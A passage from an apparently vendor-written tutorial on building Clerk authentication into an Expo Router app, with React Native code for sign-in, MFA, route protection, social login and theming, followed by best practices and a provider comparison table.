      {errors?.fields?.emailAddress && (
        <Text style={{ color: 'red', marginBottom: 8 }}>
          {errors.fields.emailAddress[0]?.message}
        </Text>
      )}
      {errors?.fields?.password && (
        <Text style={{ color: 'red', marginBottom: 8 }}>{errors.fields.password[0]?.message}</Text>
      )}
      <TouchableOpacity
        onPress={onSignUp}
        disabled={fetchStatus === 'fetching'}
        style={{
          backgroundColor: '#6C47FF',
          padding: 14,
          borderRadius: 8,
          alignItems: 'center',
          marginBottom: 16,
        }}
      >
        <Text style={{ color: 'white', fontWeight: '600' }}>Sign up</Text>
      </TouchableOpacity>
      <Link href="/(auth)/sign-in" style={{ textAlign: 'center', color: '#6C47FF' }}>
        Already have an account? Sign in
      </Link>
      <View nativeID="clerk-captcha" />
    </View>
  )
}
```

The `<View nativeID="clerk-captcha" />` element at the bottom of the form is required for Clerk's bot protection. The `errors.fields` object provides field-level error messages from Clerk's validation.

### Creating the sign-in screen

The sign-in screen uses `useSignIn()` with the Core 3 API. After password authentication, the flow checks `signIn.status` to determine if MFA is required.

```tsx
import { useSignIn } from '@clerk/expo'
import { Link, useRouter } from 'expo-router'
import type { Href } from 'expo-router'
import { useState } from 'react'
import { Text, TextInput, TouchableOpacity, View } from 'react-native'

export default function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()

  const [emailAddress, setEmailAddress] = useState('')
  const [password, setPassword] = useState('')
  const [mfaRequired, setMfaRequired] = useState(false)
  const [mfaCode, setMfaCode] = useState('')

  const onSignIn = async () => {
    const { error } = await signIn.password({ emailAddress, password })

    if (error) return

    if (signIn.status === 'complete') {
      await signIn.finalize()
    } else if (signIn.status === 'needs_second_factor') {
      setMfaRequired(true)
    }
  }

  const onVerifyMfa = async () => {
    await signIn.mfa.verifyTOTP({ code: mfaCode })

    if (signIn.status === 'complete') {
      await signIn.finalize()
    }
  }

  if (mfaRequired) {
    return (
      <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
        <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 16 }}>
          Two-factor authentication
        </Text>
        <Text style={{ marginBottom: 16, color: '#666' }}>
          Enter the code from your authenticator app
        </Text>
        <TextInput
          value={mfaCode}
          onChangeText={setMfaCode}
          placeholder="Enter MFA code"
          keyboardType="number-pad"
          style={{
            borderWidth: 1,
            borderColor: '#ccc',
            borderRadius: 8,
            padding: 12,
            marginBottom: 16,
          }}
        />
        <TouchableOpacity
          onPress={onVerifyMfa}
          disabled={fetchStatus === 'fetching'}
          style={{
            backgroundColor: '#6C47FF',
            padding: 14,
            borderRadius: 8,
            alignItems: 'center',
          }}
        >
          <Text style={{ color: 'white', fontWeight: '600' }}>Verify</Text>
        </TouchableOpacity>
      </View>
    )
  }

  return (
    <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
      <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 16 }}>Sign in</Text>
      <TextInput
        value={emailAddress}
        onChangeText={setEmailAddress}
        placeholder="Email"
        autoCapitalize="none"
        keyboardType="email-address"
        style={{
          borderWidth: 1,
          borderColor: '#ccc',
          borderRadius: 8,
          padding: 12,
          marginBottom: 12,
        }}
      />
      <TextInput
        value={password}
        onChangeText={setPassword}
        placeholder="Password"
        secureTextEntry
        style={{
          borderWidth: 1,
          borderColor: '#ccc',
          borderRadius: 8,
          padding: 12,
          marginBottom: 12,
        }}
      />
      {errors?.fields?.identifier && (
        <Text style={{ color: 'red', marginBottom: 8 }}>
          {errors.fields.identifier[0]?.message}
        </Text>
      )}
      {errors?.fields?.password && (
        <Text style={{ color: 'red', marginBottom: 8 }}>{errors.fields.password[0]?.message}</Text>
      )}
      <TouchableOpacity
        onPress={onSignIn}
        disabled={fetchStatus === 'fetching'}
        style={{
          backgroundColor: '#6C47FF',
          padding: 14,
          borderRadius: 8,
          alignItems: 'center',
          marginBottom: 16,
        }}
      >
        <Text style={{ color: 'white', fontWeight: '600' }}>Sign in</Text>
      </TouchableOpacity>
      <Link href="/(auth)/sign-up" style={{ textAlign: 'center', color: '#6C47FF' }}>
        Don't have an account? Sign up
      </Link>
    </View>
  )
}
```

When `signIn.status` returns `'needs_second_factor'`, the component switches to the MFA verification form. This example shows TOTP verification. The full MFA section below covers SMS and backup code strategies as well.

> \[!NOTE]
> In Core 3, `signIn.password()` and `signIn.finalize()` replace the legacy `signIn.create()` + `setActive()` pattern. The `errors` object returned from `useSignIn()` provides structured field-level errors, so try/catch blocks are not needed for validation errors.

> !\[NOTE]
> The Clerk quickstart shows `signIn.finalize({ navigate: ({ session, decorateUrl }) => router.replace(decorateUrl('/')) })`. The navigate callback is optional. This article omits it because the layout-based redirect pattern (useAuth + Redirect in group layouts) handles navigation automatically on auth state change. Both approaches are valid.

### Adding sign-out functionality

Sign-out uses `useAuth()` from `@clerk/expo`:

```tsx
import { useAuth } from '@clerk/expo'
import { TouchableOpacity, Text } from 'react-native'

export function SignOutButton() {
  const { signOut } = useAuth()

  return (
    <TouchableOpacity onPress={() => signOut()} style={{ padding: 8 }}>
      <Text style={{ color: '#6C47FF', fontWeight: '600' }}>Sign out</Text>
    </TouchableOpacity>
  )
}
```

After sign-out, the `(home)` group layout detects the auth state change via `useAuth()` and the `<Redirect>` component sends the user back to the sign-in screen automatically.

## Protecting routes in Expo Router

### Understanding route groups for auth state

The `(auth)` group contains screens for unauthenticated users: sign-in and sign-up. The `(home)` group contains screens for authenticated users: profile and settings. The root-level `index.tsx` is public and always accessible. Route groups do not create URL segments, so `(auth)/sign-in.tsx` renders at `/sign-in` and `(home)/profile.tsx` renders at `/profile`.

### Protecting routes with useAuth() redirects in group layouts

Route protection lives in the group layout files, not in the root layout. Each group layout calls `useAuth()` to check authentication state and renders a `<Redirect>` component to send users to the appropriate area:

- `app/(home)/_layout.tsx`: If not signed in, redirects to `/(auth)/sign-in`
- `app/(auth)/_layout.tsx`: If signed in, redirects to `/`

Both layouts must handle the loading state by returning `null` (or a loading indicator) while `isLoaded` is `false`. This prevents a flash of the wrong content before Clerk finishes initializing.

### Building the auth and home group layouts

The auth group layout redirects signed-in users away from the sign-in/sign-up screens:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function AuthLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (isSignedIn) {
    return <Redirect href="/" />
  }

  return (
    <Stack
      screenOptions={{
        headerShown: true,
        headerTitle: '',
      }}
    />
  )
}
```

The home group layout protects authenticated screens and adds a sign-out button to the header:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'
import { SignOutButton } from '../../components/SignOutButton'

export default function HomeLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return (
    <Stack
      screenOptions={{
        headerRight: () => <SignOutButton />,
      }}
    />
  )
}
```

The `<Redirect>` component from `expo-router` replaces the current route in the navigation stack. When `useAuth()` detects a state change (sign-in or sign-out), the layout re-renders and the redirect fires. This is client-side only and does not replace server-side auth validation.

### Creating the settings page

The settings page demonstrates that multiple protected routes work inside the `(home)` group without additional configuration:

```tsx
import { useUser } from '@clerk/expo'
import { Text, View, Switch } from 'react-native'
import { useState } from 'react'

export default function SettingsScreen() {
  const { user } = useUser()
  const [notificationsEnabled, setNotificationsEnabled] = useState(true)

  return (
    <View style={{ flex: 1, padding: 24 }}>
      <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 24 }}>Settings</Text>
      <View
        style={{
          flexDirection: 'row',
          justifyContent: 'space-between',
          alignItems: 'center',
          paddingVertical: 12,
          borderBottomWidth: 1,
          borderBottomColor: '#eee',
        }}
      >
        <Text>Push notifications</Text>
        <Switch value={notificationsEnabled} onValueChange={setNotificationsEnabled} />
      </View>
      <View style={{ paddingVertical: 12, borderBottomWidth: 1, borderBottomColor: '#eee' }}>
        <Text style={{ color: '#666' }}>Account</Text>
        <Text style={{ marginTop: 4 }}>{user?.primaryEmailAddress?.emailAddress}</Text>
      </View>
      <View style={{ paddingVertical: 12 }}>
        <Text style={{ color: '#666' }}>Member since</Text>
        <Text style={{ marginTop: 4 }}>{user?.createdAt?.toLocaleDateString()}</Text>
      </View>
    </View>
  )
}
```

Any new file added to the `app/(home)/` directory is automatically protected by the auth guard in the home group layout.

### Creating the public homepage

The public homepage uses Clerk's `<Show>` component for conditional rendering based on auth state:

```tsx
import { Show } from '@clerk/expo'
import { Link } from 'expo-router'
import { Text, View } from 'react-native'

export default function HomePage() {
  return (
    <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
      <Text style={{ fontSize: 28, fontWeight: 'bold', marginBottom: 16 }}>
        Welcome to Clerk + Expo Router
      </Text>

      <Show when="signed-in">
        <Text style={{ marginBottom: 16 }}>You are signed in.</Text>
        <Link href="/(home)/profile" style={{ color: '#6C47FF', fontSize: 16 }}>
          Go to your profile
        </Link>
      </Show>

      <Show when="signed-out">
        <Text style={{ marginBottom: 16 }}>Sign in to access your account.</Text>
        <Link href="/(auth)/sign-in" style={{ color: '#6C47FF', fontSize: 16 }}>
          Sign in
        </Link>
      </Show>
    </View>
  )
}
```

In Core 3, the `<Show>` component replaces the deprecated `<SignedIn>`, `<SignedOut>`, and `<Protect>` components.

### Using the Show component for conditional rendering

The `<Show>` component supports several conditional rendering patterns:

```tsx
import { Show } from '@clerk/expo'
import { Text } from 'react-native'

function ConditionalExamples() {
  return (
    <>
      {/* Auth state checks */}
      <Show when="signed-in">
        <Text>Visible to signed-in users</Text>
      </Show>

      {/* Role-based checks */}
      <Show when={{ role: 'org:admin' }}>
        <Text>Visible to organization admins</Text>
      </Show>

      {/* Permission-based checks (recommended over role-based) */}
      <Show when={{ permission: 'org:invoices:create' }}>
        <Text>Visible to users with invoice creation permission</Text>
      </Show>

      {/* Custom logic with the has() helper */}
      <Show when={(has) => has({ role: 'org:admin' }) || has({ permission: 'org:billing:manage' })}>
        <Text>Visible to admins or billing managers</Text>
      </Show>

      {/* Fallback content */}
      <Show when="signed-in" fallback={<Text>Please sign in</Text>}>
        <Text>Welcome back</Text>
      </Show>
    </>
  )
}
```

> \[!WARNING]
> `<Show>` only visually hides content on the client. The component tree and any data it contains remain accessible in the app bundle. Protect sensitive data with server-side validation or by fetching it conditionally after verifying auth state.

Permission-based checks (`when={{ permission: '...' }}`) are recommended over role-based checks because they decouple UI logic from [role-based access control](/glossary#role-based-access-control-rbac) configuration. Roles can change, but permissions remain stable.

## User profile and user button

### Displaying the UserButton component

The native `UserButton` component from `@clerk/expo/native` provides a prebuilt avatar that opens the user profile modal on tap. It requires a development build.

```tsx
import { UserButton } from '@clerk/expo/native'
import { View } from 'react-native'

function UserButtonExample() {
  return (
    <View style={{ width: 40, height: 40, borderRadius: 20, overflow: 'hidden' }}>
      <UserButton />
    </View>
  )
}
```

The native `UserButton` accepts no props. Sizing is controlled entirely by the parent container's `width`, `height`, `borderRadius`, and `overflow` styles. Tapping the button opens a native `UserProfileView` modal automatically.

For Expo Go compatibility, build a custom user button using `useUser()`:

```tsx
import { useUser } from '@clerk/expo'
import { Image, TouchableOpacity } from 'react-native'

function CustomUserButton({ onPress }: { onPress: () => void }) {
  const { user } = useUser()

  return (
    <TouchableOpacity onPress={onPress}>
      <Image source={{ uri: user?.imageUrl }} style={{ width: 40, height: 40, borderRadius: 20 }} />
    </TouchableOpacity>
  )
}
```

### Building a user profile page

The profile page uses `useUser()` to display user information:

```tsx
import { useUser } from '@clerk/expo'
import { Image, Text, View } from 'react-native'

export default function ProfileScreen() {
  const { user } = useUser()

  if (!user) return null

  return (
    <View style={{ flex: 1, padding: 24 }}>
      <View style={{ alignItems: 'center', marginBottom: 24 }}>
        <Image
          source={{ uri: user.imageUrl }}
          style={{ width: 80, height: 80, borderRadius: 40, marginBottom: 12 }}
        />
        <Text style={{ fontSize: 22, fontWeight: 'bold' }}>
          {user.firstName} {user.lastName}
        </Text>
        <Text style={{ color: '#666', marginTop: 4 }}>
          {user.primaryEmailAddress?.emailAddress}
        </Text>
      </View>

      <View style={{ borderTopWidth: 1, borderTopColor: '#eee', paddingTop: 16 }}>
        <Text style={{ fontWeight: '600', marginBottom: 8 }}>Account details</Text>
        <Text style={{ color: '#666', marginBottom: 4 }}>User ID: {user.id}</Text>
        <Text style={{ color: '#666', marginBottom: 4 }}>
          Created: {user.createdAt?.toLocaleDateString()}
        </Text>
        <Text style={{ color: '#666' }}>
          Last sign-in: {user.lastSignInAt?.toLocaleDateString()}
        </Text>
      </View>
    </View>
  )
}
```

For a native profile experience, use the `UserProfileView` component from `@clerk/expo/native` (requires a development build). This renders a native SwiftUI/Jetpack Compose profile management interface with built-in account settings, connected accounts, and security options.

### Customizing user profile fields

Clerk provides three metadata fields on the user object for storing custom data:

- `user.publicMetadata`: Readable from both frontend and backend; writable from backend only. Use for roles, feature flags, or other non-sensitive data that should be visible to the client.
- `user.unsafeMetadata`: Readable and writable from the frontend. Use for user preferences or non-sensitive settings.
- `user.privateMetadata`: Readable from backend only. Not accessible in client-side code.

To update user information programmatically:

```tsx
import { useUser } from '@clerk/expo'

function UpdateProfile() {
  const { user } = useUser()

  const updateName = async () => {
    await user?.update({
      firstName: 'Jane',
      lastName: 'Doe',
    })
  }

  const updatePreferences = async () => {
    await user?.update({
      unsafeMetadata: {
        theme: 'dark',
        language: 'en',
      },
    })
  }
}
```

## Adding multi-factor authentication

### Understanding MFA strategies in Clerk

Clerk supports three MFA strategies in Expo:

1. **SMS verification codes**: A one-time code sent via SMS to the user's registered phone number
2. **[Authenticator apps](/glossary#authenticator-apps-totp) (TOTP)**: Time-based one-time passwords generated by apps like Google Authenticator, Authy, or 1Password
3. **[Backup codes](/glossary#backup-codes)**: Single-use recovery codes generated when MFA is first enrolled

MFA must be enabled in the Clerk Dashboard under **User & Authentication > Multi-factor**. The "Require multi-factor authentication" toggle forces MFA enrollment for all users. Backup codes require at least one other MFA strategy to be enabled first. MFA is available on the [Pro plan ($20/month billed annually as of 2026)](/pricing).

### Handling MFA during sign-in

After calling `signIn.password()`, check `signIn.status`:

- `'complete'`: First factor succeeded, no MFA required. Call `signIn.finalize()`.
- `'needs_second_factor'`: MFA is required. Present a verification form and use the `signIn.mfa.*` methods.

The `signIn.supportedSecondFactors` property lists the available MFA methods after the first factor is verified. This tells you which verification options to present to the user.

### Building the MFA verification screen

This component handles all three MFA strategies and can be integrated into the sign-in flow:

```tsx
import { useSignIn } from '@clerk/expo'
import { useState } from 'react'
import { Text, TextInput, TouchableOpacity, View } from 'react-native'

type MfaStrategy = 'totp' | 'phone_code' | 'backup_code'

export function MfaVerification() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [code, setCode] = useState('')
  const [strategy, setStrategy] = useState<MfaStrategy>('totp')

  const strategies: { key: MfaStrategy; label: string }[] = [
    { key: 'totp', label: 'Authenticator app' },
    { key: 'phone_code', label: 'SMS code' },
    { key: 'backup_code', label: 'Backup code' },
  ]

  const onSendSmsCode = async () => {
    await signIn.mfa.sendPhoneCode()
  }

  const onVerify = async () => {
    if (strategy === 'totp') {
      await signIn.mfa.verifyTOTP({ code })
    } else if (strategy === 'phone_code') {
      await signIn.mfa.verifyPhoneCode({ code })
    } else if (strategy === 'backup_code') {
      await signIn.mfa.verifyBackupCode({ code })
    }

    if (signIn.status === 'complete') {
      await signIn.finalize()
    }
  }

  return (
    <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
      <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 8 }}>
        Two-factor authentication
      </Text>
      <Text style={{ color: '#666', marginBottom: 24 }}>
        Choose a verification method and enter your code.
      </Text>

      <View style={{ flexDirection: 'row', marginBottom: 16, gap: 8 }}>
        {strategies.map(({ key, label }) => (
          <TouchableOpacity
            key={key}
            onPress={() => {
              setStrategy(key)
              setCode('')
              if (key === 'phone_code') onSendSmsCode()
            }}
            style={{
              flex: 1,
              padding: 8,
              borderRadius: 8,
              borderWidth: 1,
              borderColor: strategy === key ? '#6C47FF' : '#ccc',
              backgroundColor: strategy === key ? '#F0ECFF' : 'white',
              alignItems: 'center',
            }}
          >
            <Text
              style={{
                fontSize: 12,
                color: strategy === key ? '#6C47FF' : '#666',
                fontWeight: strategy === key ? '600' : '400',
              }}
            >
              {label}
            </Text>
          </TouchableOpacity>
        ))}
      </View>

      <TextInput
        value={code}
        onChangeText={setCode}
        placeholder={strategy === 'backup_code' ? 'Enter backup code' : 'Enter verification code'}
        keyboardType={strategy === 'backup_code' ? 'default' : 'number-pad'}
        style={{
          borderWidth: 1,
          borderColor: '#ccc',
          borderRadius: 8,
          padding: 12,
          marginBottom: 16,
        }}
      />

      {errors?.fields?.code && (
        <Text style={{ color: 'red', marginBottom: 8 }}>{errors.fields.code[0]?.message}</Text>
      )}

      <TouchableOpacity
        onPress={onVerify}
        disabled={fetchStatus === 'fetching'}
        style={{
          backgroundColor: '#6C47FF',
          padding: 14,
          borderRadius: 8,
          alignItems: 'center',
        }}
      >
        <Text style={{ color: 'white', fontWeight: '600' }}>Verify</Text>
      </TouchableOpacity>
    </View>
  )
}
```

For TOTP verification, no "send" step is needed because the code is generated by the authenticator app. For SMS, call `signIn.mfa.sendPhoneCode()` first to trigger the SMS delivery, then verify with `signIn.mfa.verifyPhoneCode({ code })`. Backup codes are single-use and validated with `signIn.mfa.verifyBackupCode({ code })`.

> \[!NOTE]
> For MFA enrollment (setting up TOTP for the first time from within your app), see the [Clerk TOTP management guide](/docs/guides/development/custom-flows/account-updates/manage-totp-based-mfa). The enrollment flow involves `user.createTOTP()` to generate a QR code URI, `user.verifyTOTP({ code })` to confirm setup, and `user.createBackupCode()` to generate recovery codes.

## Adding social login and OAuth

### Native Google sign-in

Native Google sign-in uses `useSignInWithGoogle` from `@clerk/expo/google`. On Android, it uses Credential Manager (no browser popup). On iOS, it uses ASAuthorization for a native experience.

Setup requirements:

1. Create three OAuth 2.0 credentials in [Google Cloud Console](https://console.cloud.google.com/apis/credentials): iOS Client ID, Android Client ID, and Web Client ID (the Web Client ID is required even for native mobile flows)
2. Register SHA-1 fingerprints with Google Cloud Console for creating OAuth client IDs. Register SHA-256 fingerprints in the Clerk Dashboard for Android App Links verification (used for passkeys and deep linking). Both come from the same keystore via `keytool -list -v` but serve different purposes
3. Add Client IDs to your `.env` and configure `app.json`
4. Enable Google in the Clerk Dashboard under SSO connections

```tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { useRouter } from 'expo-router'
import { Platform, Text, TouchableOpacity } from 'react-native'

export function GoogleSignInButton() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()
  const router = useRouter()

  const onGoogleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: unknown) {
      const error = err as { code?: string | number }
      if (error.code === 'SIGN_IN_CANCELLED' || error.code === -5) {
        return
      }
      console.error('Google sign-in error:', err)
    }
  }

  if (Platform.OS === 'web') return null

  return (
    <TouchableOpacity
      onPress={onGoogleSignIn}
      style={{
        flexDirection: 'row',
        alignItems: 'center',
        justifyContent: 'center',
        backgroundColor: '#fff',
        borderWidth: 1,
        borderColor: '#ddd',
        borderRadius: 8,
        padding: 14,
      }}
    >
      <Text style={{ fontWeight: '600' }}>Continue with Google</Text>
    </TouchableOpacity>
  )
}
```

> \[!NOTE]
> The native Google/Apple sign-in hooks still use the older setActive() pattern rather than signIn.finalize(). This is the current documented behavior as of @clerk/expo v3.1.

The `SIGN_IN_CANCELLED` error (or code `-5` on Android) occurs when the user dismisses the sign-in prompt. Handle this silently without showing an error message. Native Google sign-in requires a development build and does not work in Expo Go.

### Native Apple sign-in

Native Apple sign-in uses `useSignInWithApple` from `@clerk/expo/apple`. This is iOS only.

> \[!IMPORTANT]
> [Apple App Store Guideline 4.8](https://developer.apple.com/app-store/review/guidelines/#sign-in-with-apple) requires that any app offering third-party social login must also offer Sign in with Apple on iOS.

Setup requirements:

1. Register your native app in the Clerk Dashboard with your Team ID (App ID Prefix) and Bundle ID
2. Enable Apple in the Clerk Dashboard under SSO connections
3. Install `expo-apple-authentication` and `expo-crypto`
4. Add `expo-apple-authentication` to the plugins in `app.json`

```tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { useRouter } from 'expo-router'
import { Platform, Text, TouchableOpacity } from 'react-native'

export function AppleSignInButton() {
  const { startAppleAuthenticationFlow } = useSignInWithApple()
  const router = useRouter()

  const onAppleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startAppleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: unknown) {
      const error = err as { code?: string }
      if (error.code === 'ERR_REQUEST_CANCELED') {
        return
      }
      console.error('Apple sign-in error:', err)
    }
  }

  if (Platform.OS !== 'ios') return null

  return (
    <TouchableOpacity
      onPress={onAppleSignIn}
      style={{
        flexDirection: 'row',
        alignItems: 'center',
        justifyContent: 'center',
        backgroundColor: '#000',
        borderRadius: 8,
        padding: 14,
      }}
    >
      <Text style={{ color: '#fff', fontWeight: '600' }}>Continue with Apple</Text>
    </TouchableOpacity>
  )
}
```

Simulator support for Apple sign-in is limited. Test on a physical device for reliable behavior. The `ERR_REQUEST_CANCELED` error indicates the user dismissed the Apple sign-in prompt.

### Browser-based SSO with useSSO

For providers without native SDKs (GitHub, Discord, and others), use the `useSSO` hook. This opens the system browser for authentication using Chrome Custom Tabs on Android and SFSafariViewController on iOS.

> \[!NOTE]
> `useSSO()` replaces the deprecated `useOAuth()` hook from Core 2. If migrating from older code, update all `useOAuth` calls to `useSSO`.

```tsx
import { useSSO } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { Text, TouchableOpacity } from 'react-native'
import * as WebBrowser from 'expo-web-browser'

WebBrowser.maybeCompleteAuthSession()

export function GitHubSignInButton() {
  const { startSSOFlow } = useSSO()
  const router = useRouter()

  const onGitHubSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startSSOFlow({
        strategy: 'oauth_github',
      })

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err) {
      console.error('GitHub sign-in error:', err)
    }
  }

  return (
    <TouchableOpacity
      onPress={onGitHubSignIn}
      style={{
        flexDirection: 'row',
        alignItems: 'center',
        justifyContent: 'center',
        backgroundColor: '#24292e',
        borderRadius: 8,
        padding: 14,
      }}
    >
      <Text style={{ color: '#fff', fontWeight: '600' }}>Continue with GitHub</Text>
    </TouchableOpacity>
  )
}
```

The `strategy` parameter accepts any of the [30+ OAuth providers](/docs/authentication/social-connections/oauth) supported by Clerk (e.g., `'oauth_discord'`, `'oauth_slack'`, `'oauth_linkedin'`). Browser-based SSO requires `expo-auth-session` and `expo-web-browser`, and it requires a development build.

## Customization options

### Styling Clerk components with the appearance prop

Clerk provides [six prebuilt themes](/docs/expo/guides/customizing-clerk/appearance-prop/themes) and 24 customization variables. Import themes from `@clerk/ui/themes` and pass them via the `appearance` prop on `ClerkProvider`:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { dark } from '@clerk/ui/themes'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={publishableKey}
      tokenCache={tokenCache}
      appearance={{
        theme: dark,
        variables: {
          colorPrimary: '#6C47FF',
          borderRadius: '0.5rem',
          fontFamily: 'Inter',
        },
      }}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Available prebuilt themes: `default`, `simple`, `shadcn`, `dark`, `shadesOfPurple`, `neobrutalism`. Themes can be stacked by passing an array: `theme: [dark, neobrutalism]`.

Key customization variables include `colorPrimary`, `colorBackground`, `colorDanger`, `fontFamily`, `fontSize`, `borderRadius`, and `spacing`. The full variable list is available in the [appearance variables reference](/docs/expo/guides/customizing-clerk/appearance-prop/variables).

### Localization

Clerk supports [52+ locales](/docs/customization/localization) through the `@clerk/localizations` package:

```tsx
import { frFR } from '@clerk/localizations'
;<ClerkProvider localization={frFR} />
```

Localization is an experimental feature. It updates text in Clerk components but does not affect the hosted Account Portal. Custom string overrides are supported for fine-grained control.

### Native components vs. custom UI trade-offs

| Aspect           |       JS Custom UI       |    JS + Native Sign-In   |   Native Components  |
| ---------------- | :----------------------: | :----------------------: | :------------------: |
| Expo Go          |                          |                          |                      |
| Customization    |           Full           |   Full + native buttons  | Limited (ClerkTheme) |
| Code required    |           Most           |         Moderate         |   Least (\~5 lines)  |
| OAuth experience |     Browser redirect     |    Native (no browser)   |  Native (automatic)  |
| Passkeys         | Via @clerk/expo-passkeys | Via @clerk/expo-passkeys |       Built-in       |
| Status           |                          |                          |         Beta         |

For the least code possible, the native `AuthView` component handles the entire sign-in/sign-up flow:

```tsx
import { useAuth } from '@clerk/expo'
import { AuthView } from '@clerk/expo/native'
import { Slot } from 'expo-router'

export default function AuthOrApp() {
  const { isSignedIn, isLoaded } = useAuth({ treatPendingAsSignedOut: false })

  if (!isLoaded) return null
  if (!isSignedIn) return <AuthView mode="signInOrUp" />
  return <Slot />
}
```

Start with the JS custom UI approach to understand the underlying API, then consider native components for production if styling flexibility is not a priority. Native components render using SwiftUI on iOS and Jetpack Compose on Android, providing a platform-native look and feel.

> \[!NOTE]
> AuthView passkey support requires domain association setup: iOS Associated Domains with webcredentials: entry, Android App Links with SHA-256 fingerprints. Without domain association, passkeys silently fail on physical devices. Verify current passkey support at /docs/reference/expo/passkeys \*/}

## Best practices

### Security considerations

- Always use `expo-secure-store` for token caching. Never use `AsyncStorage`, which stores data in plaintext
- Use separate Clerk instances with `pk_test_` keys for development and `pk_live_` keys for production
- Register native apps in the Clerk Dashboard with the correct bundle identifiers and SHA fingerprints
- Do not use the deprecated `auth.expo.io` proxy ([CVE-2023-28131](https://www.cve.org/CVERecord?id=CVE-2023-28131))
- Use HTTPS for all API communication
- Remember that `<Show>` only visually hides content. Protect sensitive data with server-side validation
- Verify Android Auto Backup exclusion rules if using custom backup configuration

### Performance optimization

- Use `<ClerkLoaded>` and `<ClerkLoading>` strategically around Clerk-dependent components rather than wrapping the entire app
- Let Clerk handle token refresh automatically (60-second lifetime, refreshed every 50 seconds). Do not implement manual token management
- Consider the experimental `__experimental_resourceCache` from `@clerk/expo/resource-cache` for [offline support](/docs/guides/development/offline-support)
- Use specific hooks (`useUser()`, `useAuth()`) instead of `useClerk()` to minimize unnecessary re-renders
- Call `SplashScreen.preventAutoHideAsync()` from `expo-splash-screen` to prevent a flash of the wrong content during auth initialization

### Code organization

- Separate auth and protected routes into distinct route groups (`(auth)` and `(home)`)
- Keep auth configuration (ClerkProvider) in the root layout only
- Place non-route files (components, hooks, utilities) outside the `app/` directory. Expo Router treats every file in `app/` as a route
- Use environment-specific configuration with `eas.json` profiles for development, staging, and production builds
- The `signIn` and `signUp` Future objects from `useSignIn()` and `useSignUp()` have unstable identity (they create a new reference on each flow state change). Prefer event-handler patterns over `useEffect`. When `useEffect` is necessary, include them in the dependency array and guard execution with a `useRef(false)` flag to prevent re-runs. See the [OAuth custom flow example](/docs/guides/development/custom-flows/authentication/oauth-connections) for this pattern

### Testing strategies

- Use `pk_test_` keys for all development and testing
- Test on physical devices for [biometric authentication](/glossary#biometric-authentication), native OAuth flows, and passkeys
- Verify all auth state transitions: sign-in, sign-out, token refresh, MFA verification, and session expiry
- Test deep linking to protected routes while unauthenticated to confirm redirect behavior
- Test passkeys on physical devices only (iOS 16+, Android 9+). Passkeys do not work on Android emulators or in Expo Go

### User experience

- Show loading states during auth initialization and all authentication transitions
- Provide clear error messages for failed authentication attempts using the structured `errors.fields` object from Core 3 hooks
- Consider `useLocalCredentials()` for biometric login after initial password authentication (Beta, password-based sign-in only)
- Handle expired sessions and network failures gracefully. Import `isClerkRuntimeError` from `@clerk/expo` and use `isClerkRuntimeError(err) && err.code === 'network_error'` to detect network errors specifically

## Comparison: Clerk vs. other Expo authentication solutions

| Feature                          |                   Clerk                   |                 Firebase Auth                |     Supabase Auth     |                Auth0                |
| -------------------------------- | :---------------------------------------: | :------------------------------------------: | :-------------------: | :---------------------------------: |
| Works in Expo Go                 |                  JS: Yes                  |                  JS SDK: Yes                 |        Limited        |                                     |
| Prebuilt RN UI                   |              AuthView (Beta)              |                                              |                       |            Browser-based            |
| MFA                              |       TOTP, SMS, backup codes (Pro)       | Typically requires Identity Platform upgrade | TOTP free; phone paid | Pro MFA (Essentials+); none on free |
| Social login providers           |                    30+                    |                     \~10                     |          19+          |              Unlimited              |
| Token storage                    |        expo-secure-store (1 import)       |                    Manual                    |      AsyncStorage     |          credentialsManager         |
| Native OAuth                     |            Google + Apple hooks           |             Via native SDKs only             |     Browser-based     |            Browser-based            |
| Passkeys (RN)                    |             Native + JS hooks             |                                              |                       |                                     |
| Free tier (as of 2026)           |                  50K MRU                  |             50K MAU (Spark plan)             |  50K MAU (auto-pause) |               25K MAU               |
| Paid starting price (as of 2026) | $20/month billed annually (50K MRU incl.) |          Per-MAU (Identity Platform)         |       $25/month       |         $35/month (500 MAU)         |

Clerk is the only provider in this comparison that offers prebuilt native UI components for React Native, native passkey support in Expo, and dedicated OAuth hooks for Google and Apple sign-in. Its token management requires a single import (`@clerk/expo/token-cache`), compared to manual secure storage setup with other providers. Competitor pricing and feature details change frequently; check each provider's current pricing page for the latest information: [Firebase Pricing](https://firebase.google.com/pricing), [Supabase Pricing](https://supabase.com/pricing), [Auth0 Pricing](https://auth0.com/pricing).

---

# What Changed in Clerk Expo SDK 3.1
